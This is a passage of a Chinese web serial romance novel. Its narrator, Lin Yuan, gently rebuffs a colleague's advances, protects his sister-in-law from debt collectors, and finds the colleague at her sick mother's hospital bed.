“小雅姐……”我的声音有些哑。
“别说话。”她吻着我的下巴,吻着我的脖子,嘴唇一点一点往下移,“就今晚。别想那么多。”
她的身体很热。隔着那层薄薄的布料,我能感觉到她心跳的速度——很快。
我的手悬在半空中,不知道该放在哪里。
她抓住我的手,放在她的腰上。
“抱我。”她说,声音闷闷的,嘴唇贴着我的锁骨,“林远,抱我。”
我的手指收紧了。她的腰很细,隔着那层布料,能感觉到皮肤很烫。她轻轻地哼了一声,整个人软了下来,靠在我怀里。
我把她抱了起来,比想象中要轻。
第21章 暧昧升级
我抱着她,走到沙发旁边,把她放下来。她的后背陷进沙发里,头发散在靠垫上,酒红色的裙摆往上滑了一截,露出一大片白腻的皮肤。
她仰起头,看着我。眼睛里全是泪光。
“林远。”她叫我,声音很轻。
“嗯。”
“你是不是也觉得我是个坏女人?”
“不是。”
“骗人。”她笑了,笑容里带着一种让人心碎的脆弱:“我知道你瞧不起我,你觉得我是孙曼丽的走狗,为了钱出卖公司。”
“小雅姐——”
“但是我没有办法。”她的声音突然哽咽了,“我需要钱,我妈生病了,在老家住院,每个月要花好几千块。我初中毕业就出来打工,什么都干过。服务员、销售、美容师……赚的钱全寄回家了。”
她抬起手,摸了摸我的脸。
“你以为我想当孙曼丽的眼线?你以为我想在李曼面前低声下气?我没有选择。”
她的手指在我的脸颊上慢慢滑过。
“但你不一样。你是我见过的最干净的人。第一次看到你的时候,我就想——这个人,怎么这么干净?”
她的眼眶红了:“所以我喜欢你,不是因为你能给我什么,是因为你让我觉得,这个世界还有好的东西。”
她伸出手,勾住我的脖子,把我往下拉。
“林远,今晚别走。好不好?”
她的嘴唇又贴上来,我的手指**她的头发里,她的头发很软,带着一股淡淡的洗发水味道。她的身体在我怀里微微发抖,像一只被雨淋湿的猫。
我的吻从她的嘴唇滑到下巴,从下巴滑到脖子。她的头往后仰,露出修长的脖颈,喉咙里发出一声很轻的、压抑的声音。
“林远……”她叫我的名字,声音像是在哭,又像是在笑。
我的手指勾住了她吊带裙的肩带,慢慢往下拉。
她的肩膀露出来了。锁骨露出来了。再往下,是一颗小小的痣,长在胸口的位置。
她闭上了眼睛,睫毛在微微颤抖。
我的嘴唇落在那颗痣上,她的身体猛地绷紧了,手指攥紧了我的衬衫。
“林远……”她的声音带着哭腔,“你别停……”
我的手指往下移,碰到了裙子的下摆,她抓住了我的手。
“看着我。”她说。
我抬起头,看着她。
她的眼睛很亮,亮得像是在发光。
“不管以后怎么样,你记住今晚。”她说,“我是真的喜欢你。”
我看着她,沉默了很久,然后我松开了手。
“小雅姐,我不能。”
她的表情僵住了。
“为什么?”她的声音在发抖,“你刚才……你不是也——”
“是。”我打断她,“我是,但是——”
我站起来,背对着她。
“我不能在骗了你之后,再占你的便宜。那样我成什么人了?”
办公室里的空气像是凝固了,身后传来她压抑的哭声,像是一只受伤的小兽在角落里舔舐伤口。
“林远,”她的声音从身后传来,沙哑得不像她,“你是不是心里有人了?”
我没有回答。
“是她吗?”她问,“你嫂子?”
我的后背僵了一下。
“你不用回答。”她笑了,笑声里带着一丝苦涩,“我看得出来,你看她的眼神,和看别人不一样。”
我听到她站起来的声音,裙摆窸窸窣窣的。
“林远,你是个好人。”她说,“真的,你是我见过的最好的人。”
“小雅姐——”
“你不用安慰我。”她打断我,“我没事。我就是……有点难过。”
我转过身,她已经穿好了开衫,把那条酒红色的吊带裙遮住了。但她的眼睛红红的,睫毛膏花了,在脸上留下两道黑色的痕迹。
“小雅姐,你以后打算怎么办?”
“不知道。”她低下头,“李曼那边不会放过我的,孙曼丽也不会。”
“你回红颜吧。”我说,“秦总那边,我去说。”
她抬起头,看着我。
“你愿意帮我?”
“你犯的错,不至于让你没饭吃。”我看着她,“只要你以后不再骗人。”
她盯着我看了很久,然后笑了。这一次的笑容,和之前不一样。没有撒娇,没有算计,是一种干净的、释然的笑。
“林远,你这个人,真的太老实了。”她摇了摇头,“老实到让人心疼。”
她走到门口,拉开门。
“小雅姐。”我叫住她。
她停下来,没有回头。
“你妈妈那边,如果有什么需要帮忙的,跟我说。”
她的肩膀颤了一下,然后她走了。
我坐在椅子上,看着那扇关上的门。
衬衫的扣子被解开了三颗,敞开着,露出胸口,上面还有口红印。
我用手摸了摸黏糊糊的,还有点滑溜溜的。坦白讲长这么大,还是头一次有女孩子主动靠近我,而且是漂亮女孩子。
像我这样的穷学生,在学校的时候,女同学都不拿正眼看我。工作以后,女同事更是把我当免费劳动力用。来到红颜的这段时间,改变太多了。
刚才那一瞬间,我差点儿就把持不住自己。
我深吸了一口气,把这些感觉全部压下去。
手机震了,是苏婉的电话。
“小远。”她的声音有些沙哑,像是刚哭过。
“嫂子,怎么了?”
“没什么。”她顿了顿,“就是……想听听你的声音。
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”
我的心揪了一下:“嫂子,你那边是不是出事了?”
“没有。”她笑了,但笑声里没有笑意,“就是有点累。那些债主又来了,这次带了律师,说我不还钱就要起诉我。”
“林强的债,跟你有什么关系?”
“他们不管,说我是他老婆,他的债就是我的债。”
“嫂子,你别怕,我明天过去看你。”
“不用——”
“嫂子。”我打断她,声音比我想象的要大,“我明天过去。就这么定了。”
电话那头沉默了很久。
“好。”她的声音很轻,“那你路上小心。”
“嗯。”
“小远。”
“嗯?”
“你刚才……是不是在忙?听你声音不太对。”
我低头看了看自己敞开的衬衫,还有胸口那个口红印子。
“没有,就是在加班。”
“别熬太晚。”
“知道了,嫂子晚安。”
“晚安。”
电话挂了。
我靠在椅背上,闭上眼睛。
脑子里全是刚才的画面——小雅的眼睛、她的嘴唇、她的眼泪、她颤抖的身体。
还有苏婉的声音。
我拿起手机,给秦红发了一条消息:“红姐,我明天去一趟开发区。”
秦红秒回:“干什么?”
“看苏婉,她那边债主找麻烦。”
“……”秦红发了一串省略号,“你下周三要见沈若溪,方案还没写完——”
“红姐,就一天。后天回来。方案不会耽误。”
电话那头沉默了很久,然后秦红发了一个字:“行。”
又跟了一句:“小心点,孙曼丽那边在查你,开发区可能有她的人。”
“我知道。”
“还有一件事。”
“什么?”
“小雅刚才从你办公室出来,眼睛红的,你们怎么了?”
我犹豫了一下,打字:“她发现数据是假的了。”
“然后呢?”
“她说她喜欢我,真的那种。”
秦红沉默了很久。
“你信了?”
“不知道。”
“那你对她做了什么?”
我看着屏幕上这行字,赶紧把胸口的口红印擦掉。
“没什么。”我打字,“我让她回红颜上班。”
“林远。”秦红发了一条语音。
我点开,她的声音从手机里传出来,很冷:“你心软了。”
我没有回。
她又发了一条:“心软是病,早晚会要了你的命。”
我放下手机,走到窗边。
孙曼丽在查我,李曼在等消息。
小雅……我不知道她接下来会怎样。
而苏婉,在开发区的夜里,一个人面对那些债主。
第22章 迫不及待的见面
第二天凌晨五点半,天还没亮透。
我拎着一个帆布包走出宿舍,包里面塞了两件换洗衣服和昨晚在便利店买的面包。去开发区的长途公交六点发车,我提前半个小时出门,想在路上给苏婉买点东西。
她上次说开发区分店附近没什么像样的早餐店,每天早上都是凑合着喝杯豆浆。我在车站旁边的一家老字号买了刚出笼的包子、一保温桶热粥,又让老板娘多装了两份小菜。
老板娘是个五十多岁的胖大姐,看着我手里的东西笑了:“小伙子,看女朋友去?”
“不是。”我说,“看嫂子。”
“嫂子?”大姐意味深长地看了我一眼,“那你这心可够细的。你嫂子有福气。”
我没接话,拎着东西上了车。
大巴摇摇晃晃地驶出车站,穿过还在沉睡的滨海市老城区,上了通往开发区的环道。窗外的城市慢慢褪去,取而代之的是排排在建的楼盘。
我靠着车窗,脑子里乱糟糟的。
秦红说过心软是病,也许她说得对。但有些事,不是心不心软的问题。
是——你没办法假装看不见一个人在你面前哭。
车开了将近一个小时,在开发区客运站停下来。
我拎着东西下车,站在路边,四处张望。开发区和市区完全是两个世界。没有高楼大厦,没有霓虹灯,路很宽,车很少,空气里有一股泥土和灰尘混合的味道。
苏婉的分店在开发区中心的一条商业街上。说是商业街,其实就是一条两三百米长的街道,两边开着各种小店——超市、理发店、药店、小吃摊。
分店的招牌挂在街角的一栋两层小楼上面,白色的底,粉色的字,写着“红颜美容·开发区分店”。
我走到门口,门还没开。卷帘门拉着,上面贴着一张手写的告示:“营业时间:9:00-20:00。”
我看了看手机,七点半。还有一个半小时。
我绕到楼后面,找到员工宿舍的入口。那是一扇铁门,门锁是那种老式的密码锁。苏婉在微信里告诉过我密码,我输入“0912”,门开了。
楼梯很窄,灯光昏暗。我上了二楼,走到苏婉的房间门口,深吸了一口气,敲了三下,没人应。
又敲了三下,门开了一条缝,苏婉的脸从门缝里露出来。
她穿着一件旧T恤,头发散着,脸上没有化妆。眼睛下面有很深的黑眼圈,嘴唇干裂,整个人看起来像是三天没睡觉。
但她看到我的那一刻,眼睛里亮了一下。
“小远?”她的声音有些哑,“你怎么来了?”
“昨晚说了,今天过来。”我举起手里的东西,“给你带了早饭。”
她愣了一下,然后笑了。
“进来吧。”她拉开门,侧身让我进去。
房间不大,一张单人床、一张桌子、一个衣柜。窗帘拉着,房间里有些暗。床上被子没叠,枕头上有泪痕干涸的痕迹。
她昨天晚上哭过,我心里一紧,但没有问。
“你坐。”她指了指床边的椅子,“我去洗把脸。”
她进了洗手间,水龙头哗哗地响。我站在房间里,环顾四周。桌上摆着一台打开的笔记本电脑,屏幕上是一个文档——标题是“离婚起诉书”。旁边放着几张打印出来的法律条文,用红笔画着线。
她在准备离婚的事,而且显然,并不顺利。
苏婉从洗手间出来,洗了脸,把头发扎成马尾。虽然眼睛还是红的,但精神了一些。
“嫂子,先吃早饭。”我把保温桶打开,粥还热着,包子也还冒着热气,“趁热吃。”
她看着桌上的东西,眼眶又红了。
“小远,你大老远跑来,就为了给我送早饭?”
“不是为了送早饭。”我看着她,“是为了看看你。”
她的嘴唇动了一下,像是想说什么,但没说出来。
她在床边坐下,端起粥,小口小口地喝。我坐在椅子上,看着她喝粥,两个人谁都没说话。
房间里很安静,只有勺子碰到碗壁的清脆声响。
“嫂子,”我开口,“离婚的事,怎么样了?”
她的手顿了一下,放下勺子。
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“不顺利。”她的声音很低,“林强不同意。”
“他现在在哪?”
“不知道。”她摇了摇头,“他从看守所出来之后,就没露过面。他请了律师,律师说他要我净身出户。”
“净身出户?”我的拳头攥紧了,“房子是你们一起买的,凭什么?”
“房子在他名下。”苏婉苦笑了一下,“以前我太相信他了,觉得夫妻之间不用分那么清。现在……”
她没说完,但意思很明显。
“钱呢?你的积蓄——”
“被他拿走了。”她的声音平静得可怕,“美容院转让的钱,还有我以前的积蓄,全被他拿走了。说是投资,其实是还赌债。我现在手里只剩下开发区分店的流动资金,但那笔钱是红姐的,我不能动。”
我看着她,心里涌起一股酸涩。
她什么都没了。房子、钱、青春——全被那个男人毁了。
“嫂子,你别怕。”我说,“钱的事,我来想办法。”
“你有什么办法?”她看着我,“你自己一个月才几千块工资,还要攒钱——”
“我可以跟红姐预支工资——”
“不行。”她打断我,“小远,你听我说。这是我自己的事,你别掺和进来。你已经帮了我很多了,我不能再拖累你。”
“你不是拖累。”我的声音有些大,“嫂子,你从来都不是拖累。”
她看着我,眼神复杂。
“小远,你……”
“嫂子,我不是小孩子了。”我站起来,走到她面前,“我知道我在说什么。林强那边的事,你交给我。我虽然没钱,但我不怕他。他要打官司,我陪他打。他要找人**,我——”
“你怎样?”她抬起头,看着我,“你还能打他不成?”
“我——”
“小远。”她站起来,伸出手,握住了我的手。她的手很凉,但很稳,“我知道你心疼我。但是有些事,不是靠拼命就能解决的。”
“那靠什么?”
“靠脑子。”她说,嘴角动了一下,“你不是一直很有脑子吗?”
第23章 催债上门
我愣了一下,然后笑了。
“嫂子,你这是在夸我?”
“不是夸你。”她松开我的手,转过身,背对着我,“是在求你。”
“求我?”
“求你——”她的声音很轻,“别为我做傻事。你现在在红颜好不容易站稳了脚跟,秦总看重你,沈若溪的代理权也在谈。你要是为了我的事跟林强硬碰硬,出了什么事,我怎么跟——”
她顿了顿。
“怎么跟谁?”我追问道。
她没有回答。
“嫂子,你是想说你不知道怎么跟我交代,还是不知道怎么跟你自己交代?”
她的肩膀颤了一下。
“小远,”她的声音有些哑,“你别问了。”
“好,我不问。”我走到她身后,离她很近。近到能闻到她头发上的洗发水味道——不是以前那种茉莉花香,是一种很普通的、超市里买的那种,“但是嫂子,你得答应我一件事。”
“什么事?”
“不管遇到什么事,别一个人扛。给我打电话。我不一定能解决,但至少——我能听你说。”
她转过身,看着我。
她的眼睛里有泪光,但没有掉下来。
“小远,你这个人,”她轻声说,“怎么这么傻?”
“不傻。”我说,“就是有点笨。”
她笑了。这一次的笑容,比刚才真了一些。
“行了,别站着了。”她擦了擦眼睛,“你还没吃早饭吧?我去给你盛一碗。”
“不用,我吃过了——”
“骗人。”她瞪了我一眼,“你早上五点多就出门了,怎么可能吃过?”
她拿了一个碗,给我盛了一碗粥,又把包子推到我面前。
“吃。”
我看着碗里的粥,心里暖了一下。
“嫂子,你今天上班吗?”
“上。店不能关。”
“那我在店里帮你。”
“不用——”
“嫂子,我来都来了。”我看着她,“你就让我帮点忙,不然我心里过意不去。”
她沉默了一下,然后叹了口气。
“行。但是——”
“但是什么?”
“但是你要听我的。”她看着我,“我说什么时候走,你就什么时候走。开发区这边乱,你待久了不安全。”
“有什么不安全的?”
“那些债主……”她的声音低了下去,“他们知道我在这边。随时可能来。”
我攥紧了手里的勺子。
“那就让他们来。我正好会会他们。”
“小远——”
“嫂子,你别劝了。”我低头喝粥,声音闷闷的,“我说了,今天不走。”
她看着我,嘴唇动了好几次,最后什么都没说。
分店比总店小很多。
一楼是接待区和两个美容间,二楼是库房和办公室。员工只有四个人——两个美容师、一个前台、一个店长。店长是个四十多岁的女人,姓刘,秦红从总店调过来的,做事利索,话不多。
苏婉带我在店里转了一圈,介绍了一下基本情况。店虽然小,但收拾得很干净,设备也齐全。只是客人不多——整整一上午,只来了两个做护理的,还都是团购的低价客户。
“生意不太好?”我问。
“不太好。”苏婉实话实说,“开发区这边的人流量不够,而且消费能力也有限。团购来的客户,做了就走,留不住。”
“红姐知道吗?”
“知道。她说了,前三个月不指望赚钱,先把口碑做起来。”
我点了点头,没再多问。
中午的时候,我帮苏婉把库房里的货重新归置了一遍。她站在旁边给我递东西,偶尔说几句话,聊的都是店里的琐事。
但我知道,她心里有事。
她一直在看手机。
“嫂子,你在等电话?”
“没有。”她收起手机,“就是看看时间。”
“林强的律师今天会联系你?”
她愣了一下,然后苦笑了一下。
“你猜到了?”
“不难猜。”我把一箱精油搬到架子上,“你今天心不在焉的,一直在看手机。不是在等消息,就是在躲消息。”
“都有。”她靠在墙上,“律师说今天给我答复,关于财产分割的事。但是一直没打电话来。”
“你给他打过去。”
“我不敢。”
“怕什
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么?”
“怕听到不好的消息。”她低下头,“小远,你说我是不是很怂?自己的事,自己都不敢面对。”
“不是怂。”我说,“是太在乎了。在乎自己付出了那么多,最后什么都没剩下。”
她没有说话,我转过身,看着她。
“嫂子,有些东西没了就没了。但你还有自己。只要你还在,什么都能重新开始。”
她抬起头,看着我。
“小远,你什么时候变得这么会说话了?”
“跟你学的。”
“我可没教过你这些。”
“你教过。”我看着她,“你说过,‘女人不靠男人也能活得好好的’。这句话,我一直记着。”
她的眼眶红了。
“小远,你——”
她的话没说完,楼下突然传来一阵嘈杂的声音。
有人在砸门。
“开门!苏婉,你出来!”
一个男人的声音,粗哑的,带着酒气。
苏婉的脸一下子白了。
“嫂子,你待在这儿。”我放下手里的东西,往外走。
“小远!你别去!”她拉住我的胳膊,“是他们来了。你从后门走——”
“我不走。”我掰开她的手,“嫂子,你在这儿等着,把门锁上。”
“小远——”
“锁上!”
我关上门,下了楼。
店门口站着三个男人。
领头的是个四十来岁的胖子,光头,脖子上挂着一根金链子,穿着一件花衬衫,肚子把扣子撑得鼓鼓的。他身后跟着两个年轻点的,一个瘦高个,一个矮壮,都穿着黑色T恤,胳膊上纹着乱七八糟的图案。
店里的客人已经吓跑了。前台小妹躲在柜台后面,脸色发白。刘店长挡在楼梯口,手里攥着一把扫帚。
“苏婉呢?让她出来!”光头胖子拍着前台桌面,声音大得整条街都能听到。
“她不在。”我走过去,站在前台前面,“有什么事,跟我说。”
光头胖子上下打量了我一眼。
“**谁啊?”
“她弟弟。”
“弟弟?”他笑了,“她老公欠我二十万,你是她弟弟,那你还钱呗。”
第24章 我来保护你
“林强欠你的钱,你找林强要。”我毫不示弱的说道。
“林强跑了!”胖子一拍桌子,“苏婉是他老婆,我不找她找谁?”
“法律上没有这个道理。”我的声音很平静,“林强的赌债,不受法律保护。你要是有意见,可以去**起诉。但是在这儿**——”
我顿了顿,看着他的眼睛。
“我现在就报警。”
胖子的脸色变了一下。
“**吓唬我?”
“不是吓唬。”我拿出手机,按了三个键,“110,按下去就接通。你要试试吗?”
他盯着我,眼睛里冒着火。
“小子,你知不知道我是谁?”
“不知道。也不想知道。”我说,“我只知道,你要是再在这儿**,三分钟后警察就到。开发区派出所离这儿不到两公里,出警很快。”
胖子身后的瘦高个凑到他耳边,低声说了句什么。胖子的表情变了变,咬了咬牙。
“行,你小子有种。”他指了指我,“我今天给你个面子。但你告诉苏婉,这笔账不算完。她老公欠的钱,早晚要还。”他转身要走。
“等一下。”我叫住他,他回过头。
“你说林强欠你二十万,有借条吗?”
“有。怎么了?”
“借条上写的是‘用于**’吗?”
胖子的脸色变了。
“我劝你把借条收好。”我说,“别到时候拿到法庭上,法官一看是赌债,直接给你扔出来。”
他盯着我看了几秒,然后笑了。那笑容里带着一丝阴冷。
“小子,你挺狂啊。你是哪个单位的?”
“红颜美容。滨海总店。”我说,“你要是觉得不服气,可以去那边找我。我姓林,林远。”
他点了点头,像是要把这个名字记住。
“行,林远,我记住了。”
他带着两个手下走了。花衬衫的背影消失在街角,留下一股呛人的酒气。
我站在原地,攥着手机的手微微发抖。
不是不怕,是刚才不能怕。
“林总监……”前台小妹从柜台后面探出头,“你没事吧?”
“没事。”我把手机收起来,“打电话报警了吗?”
“还、还没……”
“现在打。把刚才的事说一遍,留个出警记录。以后他们再来,就有案底了。”
“哦哦,好。”她赶紧拿起电话。
我转过身,刘店长还站在楼梯口,手里攥着扫帚,脸上的表情从紧张变成了佩服。
“林总监,你胆子真大。”
“不是胆子大。”我说,“是赌他们不敢在这儿动手。开发区分店刚开,要是出了**,警察不会不管。”
“你怎么知道他们不敢?”
“我不知道。”我实话实说:“赌的。”
她愣了一下,然后笑了,我上楼去找苏婉。
她还站在库房里,脸色苍白,手里攥着手机看得出来还是有些紧张。
“嫂子,没事了。他们走了。”
“你有没有受伤?”她上下打量我,声音在发抖。
“没有。”
“他们说什么了?”
“让我告诉你,这笔账不算完。”
她的腿一软,差点摔倒,我赶紧扶住她。
“嫂子,你别怕。我报了警,留了记录。他们下次再来,直接报警抓人。”
“小远……”她靠在我肩膀上,声音闷闷的,“对不起,又连累你了。”
“别说傻话。”
她的身体在发抖。我一只手扶着她的腰,一只手拍着她的背。她的腰很细,隔着那层薄薄的T恤,能感觉到她皮肤的温度——凉的,像是血没流到那里。
“嫂子,你多久没好好吃饭了?”
“吃了……”
“骗人。”我说,“你身上一点肉都没有,全是骨头。”
她没说话,但靠得更紧了一些。
我们就那么站着,在堆满精油箱子的库房里,谁都没有动。
空气里弥漫着薰衣草和茶树混合的味道。她的头发蹭着我的下巴,痒痒的。
“小远。”她突然开口。
“嗯。”
“你说,我是不是很失败?”
“不是。”
“我把自己的日子过成了这样。”
“不是你的错。”
“那是谁的错?”
“林强的。”我说,“还有那些欺负你的人,不是你的错。”
她沉默了很久,然后她
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抬起头,看着我。
她的眼睛很红,但没有哭。她就那么看着我,像是在确认什么,又像是在寻找什么。
“小远,你什么时候变得这么可靠了?”
“一直都很可靠。”我说,“就是以前没人发现。”
她笑了。那笑容里有疲惫、有心酸,但也有一种说不清的东西。
“行了,别抱着了。”她轻轻推开我,“让人看见不好。”
“谁看见?”
“刘姐。小周。”她擦了擦眼睛,“店里人多嘴杂。”
“怕什么?你是我嫂子。”
她看了我一眼,那眼神里有话,但她没说。
“走吧,下楼看看。”她转身往外走,“刚才的客人吓跑了,我得去道个歉。”
“嫂子。”
她停下来。
“林强的律师那边,如果再来电话,你接。不管他说什么,你跟我说。别一个人扛。”
她点了点头,没回头,走了。
我站在库房里,看着她的背影消失在楼梯口。
手机震了,是秦红的消息:“到开发区了?”
“到了。”
“苏婉怎么样?”
“不太好。债主刚才来**了。”
“……”秦红发了一串省略号,“你处理了?”
“嗯。报了警,留了记录。”
“没受伤?”
“没有。”
“那就好。”她顿了顿,“小雅今天没来上班。”
我心里一紧:“什么意思?”
“没请假,没来。打电话关机。”
“红姐,你让人找找她——”
“找了,宿舍没人,手机打不通。”秦红又发了一条,“林远,你昨晚跟她说了什么?”
“没说什么。”
“没说什么她就不来上班了?”
我看着屏幕,手指悬在键盘上。
“红姐,等我回去再说。”
“行。你自己小心。”
“嗯。”
我收起手机,站在库房的窗户边,看着外面的街道。
苏婉在这里,一个人面对这一切。
下周三的晚宴,沈若溪的代理权,孙曼丽的威胁,小雅的失踪——
所有的事都挤在一起,压得人喘不过气。
第25章 找到小雅
从开发区返回滨海的大巴上,我一刻也没闲着。
手机叮叮叮的一直响,秦红说小雅还没找到,手机关机,宿舍没人,连她老家的电话也打不通。
赵磊说“姜晚晴”那边又接到了丽人会的电话,这次换了个销售主管,语气更殷勤,显然李曼对这条“大鱼”志在必得。
沈若溪的助理发来邮件,确认了下周三晚宴的时间和地点,附了一份出席嘉宾名单——孙曼丽的名字赫然在列,后面还跟着“丽人会董事长”几个字。
每一条消息都在提醒我:时间不多了。
大巴摇摇晃晃地驶入滨海市区,我靠在座椅上,闭着眼睛,把脑子里乱七八糟的事情一件一件理顺。
大巴到站的时候,天已经黑了。
我下了车,站在客运站门口,给秦红打了个电话。
“红姐,我到滨海了,小雅那边有消息吗?”
“没有。”秦红的声音很沉,“我让人去她老家问了,她妈说她没回去。手机还是关机。”
“李曼那边呢?”
“我让人盯着丽人会,小雅没去找李曼。”
“那她能去哪?”
秦红沉默了几秒:“林远,你是不是担心她出事?”
“是。”
“因为什么?怕她出卖你,还是怕她被人害?”
我愣了一下。
“都有。”
“说实话。”秦红的声音很冷,“你跟我说实话,我才能帮你。”
我深吸了一口气。
“红姐,昨晚她跟我说,她妈生病了,她每个月要往家里寄钱。她当孙曼丽的眼线,是因为缺钱,不是因为坏。”
“所以呢?”
“所以她不该落得个没下场。”
电话那头沉默了很久。
“林远,你知道你最大的毛病是什么吗?”秦红说,“你总是把人往好处想。”
“红姐——”
“但你这次可能没想错。”她打断我,“我让人查了小雅的银行记录。过去两年,她每个月固定往老家一个账户转三千到五千块。那个账户是她妈的名字。她妈确实在住院,县医院,肾病。”
我攥紧了手机。
“她在哪家医院?”
“你干什么?”
“我去找她。”
“林远,你疯了?你明天还要上班,下周三还要见沈若溪——”
“红姐,就一晚。我去一趟她老家,明天一早回来,耽误不了。”
秦红骂了一句脏话,我没听清是什么。
“地址我发你手机上。”她说,“但你给我记住——找到她,别带回来。她现在回红颜不安全,李曼那边的人在盯着。”
“我知道。”
“还有,开我的车去。别坐大巴,太慢。”
“红姐,你的车——”
“少废话,车钥匙在我办公室抽屉里,密码你知道自己去拿。”
电话挂了。
我站在客运站门口,看着手机屏幕上秦红发来的地址——滨海市下辖的一个县,离市区六十多公里。开车的话,一个多小时。
我把帆布包甩到肩上,转身往美容院的方向走。
秦红的车钥匙果然在她办公室的抽屉里,我发动车子,驶出停车场,拐上通往城外的高速。高速上车不多。我把车窗摇下来一条缝,冷风灌进来,吹得人脑子清醒了一些。
脑子里又开始转了,小雅的事、苏婉的事、孙曼丽的事、下周三的晚宴——所有的事像走马灯一样转来转去,转得人头晕。
但有一件事,我一直没想明白,小雅为什么不接电话?
她发现数据是假的,知道李曼那边不会放过她。她没有去找李曼,也没有回红颜。她不接任何人的电话。
她在怕什么?怕李曼报复?怕秦红开除她?还是怕——见到我?
我想起昨晚她的脸,想起她动情的样子,我踩下油门,车速提到了一百二。
本来想再快点儿,怕超速扣分,毕竟这不是我的车。
县医院在县城的西边,一栋灰扑扑的四层楼房,外墙的白色涂料剥落了一大片,露出底下暗灰色的水泥。
我到的时候已经快晚上十点了。医院门口的传达室亮着一盏昏黄的灯,一个老头裹着军大衣坐在里面看电视。
“大爷,请问住院部怎么走?”
老头头都没抬:“直走,左拐,三楼。”
“谢谢。”
住院部的走廊很长,灯管坏了一半,隔一盏亮一盏,明暗交替
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,像是一条走不到头的隧道。空气里弥漫着消毒水的味道,混着尿骚味和剩饭剩菜的味道,熏得人直犯恶心。
三楼,肾病科。
我沿着走廊一间一间地看过去,在走廊尽头的一间病房门口,停下了脚步。
门虚掩着。里面亮着一盏床头灯,昏黄的光照在一张窄窄的病床上。床上躺着一个老太太,花白的头发,瘦得皮包骨头,脸上戴着氧气罩,胸口微微起伏。
床边坐着一个人,穿着一件灰色的卫衣,帽子扣在头上,低着头,肩膀一耸一耸地在哭。
我推开门,她抬起头。
是小雅,她没有化妆。素面朝天,眼睛肿得像桃子,鼻头红红的。看到我的那一刻,她的表情从悲伤变成了震惊,又从震惊变成了恐惧。
“林远?你怎么——”她站起来,往后退了一步,撞翻了椅子,“你怎么找到这儿的?”
“秦总查了你的银行记录。”我关上门,站在门口,“她说你每个月往老家寄钱。”
“秦总知道了?”她的脸更白了,“她知道我——”
“知道你是孙曼丽的眼线。”
她的腿一软,跌坐在床上。
“完了。”她喃喃地说,“全完了。”
我看着她的样子,心里涌起一股说不清的情绪。
“小雅姐,你妈怎么样了?”
她愣了一下,似乎没想到我会问这个。
“不太好。”她低下头,“肾衰竭,要做透析。一周三次,每次好几百块。医生说最好**,但是……”
她没说完,但我明白。
**,几十万。她拿不出来。
“所以你才帮李曼做事?”
她沉默了。
“小雅姐,你不欠我解释。”我在她旁边坐下,隔着一个人的距离,“但你欠你自己一个交代。”
她抬起头,看着我。
“林远,你是不是觉得我很脏?”
“不是。”
“骗人。”她笑了,笑容里带着一丝苦涩,“我自己都觉得自己脏。为了钱,出卖公司,出卖同事,出卖——”
她顿了顿,看了我一眼。
“出卖你。”
“你没出卖我。”我说:“起码没出卖成。”
第26章 小雅的苦衷
她愣了一下,然后笑了。
“你这个人,”她说,“说话真会挑时候。”
“不是会挑时候。”我说,“是实话。”
病房里安静了一会儿。老太太在床上睡着,呼吸机发出轻微的嗡嗡声。
“林远,你为什么要来找我?”小雅突然问,“你不怕我把你的事说出去?”
“什么事?”
“你骗李曼的事,假数据的事。”
“你会吗?”
她看着我,眼神复杂。
“我不知道。”她说,“以前可能会。现在——”
“现在怎么了?”
“现在我知道,你是唯一一个来找我的人。”
她的眼眶又红了,但这一次没哭。
“林远,你放心。我不会跟李曼说,也不会跟孙曼丽说,我欠你的。”
“你不欠我什么。”
她说:“你本来可以不管我的,你让我回红颜上班,秦总也不会说什么。但是你没有。你大老远跑到这儿来——”
她看着我,眼睛里有光。
“林远,你是不是对我有那么一点点——”
“小雅姐。”我打断她,“你妈还需要你照顾,工作的事,先别想了。等你妈身体好一些,你想回红颜,我跟秦总说。”
她盯着我看了几秒,然后笑了。
“你还是没回答我的问题。”
“什么问题?”
“你是不是对我有那么一点点动心?”
我沉默了,她看着我的沉默,点了点头,像是早就知道答案。
“没关系。”她说,“我知道你心里有人。”
她站起来,走到窗边,背对着我。
“林远,你回去吧。这边的事,我自己能处理。”
“你怎么处理?”
“我辞职了。”她说,“曼那边,她们爱怎样怎样。我就在这儿陪我妈,哪都不去。”
“李曼不会放过你的。”
“她还能杀了我不成?”小雅转过身,笑了:“最多就是找人打我一顿,打就打呗,我又不是没挨过打。”
我看着她的眼睛,那里面有疲惫、有心酸、有恐惧,但也有一种我从未见过的东西——倔强。
“小雅姐,你给我一个月。”我说。
“什么一个月?”
“一个月之内,我会让孙曼丽和李曼没空找你麻烦。到时候,你愿意回红颜就回来,不愿意的话,我帮你找个别的工作。”
她愣住了。
“林远,你要干什么?”
“不干什么。”我站起来,“就是不想让坏人太得意。”
她盯着我看了很久。
“林远,你有时候让我觉得害怕。”
“为什么?”
“因为你看起来老实,但做起事来,比谁都狠。”
我没有接话。
“行了,你走吧。”她挥了挥手,“太晚了,开车小心。”
“小雅姐。”
“嗯?”
“你手机为什么关机?”
她愣了一下,从口袋里掏出手机,按了一下。
“没电了。”
我看着她,不知道该笑还是该叹气。
“充电器呢?”
“忘带了。”
我从口袋里掏出一个充电宝,扔给她。
“明天买个充电器,把手机开着。有什么事,给我打电话。”
她接住充电宝,看着它,忽然笑了。
“林远,你这个人,真的是——”
她没说完,但眼眶红了。
我转身走出了病房。
走廊很长,灯管滋滋啦啦一闪一闪的。走了几步,身后传来她的声音:
“林远!”
我停下来,没有回头。
“谢谢!”
我没回答,继续往前走。
出了医院大门,夜风吹在脸上,凉飕飕的。我抬头看了看天——县城的天空比滨海黑得多,星星一颗一颗的,亮得刺眼。
手机震了。是苏婉的消息。
“小远,到家了吗?”
“还没。在回滨海的路上。”
“这么晚了,还在外面?”
“嗯。处理点事。”
“什么事?”
我犹豫了一下,打字:“小雅的事,她失踪了,我找到她了。”
“她怎么了?”
“她家里有点事。”
“那就好。你开车小心。”
“嗯嫂子,你早点睡。”
“睡不着。”
“怎么了?”
“没什么。就是想你。”
我看着屏幕上的那三个字,心跳漏了一拍。
然后消息被撤回了。
“发错了。”她紧跟着发了一条。
我盯着屏幕,手指悬在键盘上。
过了很久,我打了一行字:“我也想你了。”
发出去。
然后撤回了。
“发错了。”我学着她说。
她发了一个笑脸。
“学我?”
“嗯。”
“小远。”
“嗯?”
“下周三的晚宴,你去吗?”
“去。”
“小心点。孙曼丽也会去。”
“我知道。”
“穿好看点。别给红姐丢人。”
“知道了嫂子,你到时候来吗?”
“不来。我在开发区看店。”
“那我回来告诉你。”
“好。”
我看着屏幕,忽然想起一件事。
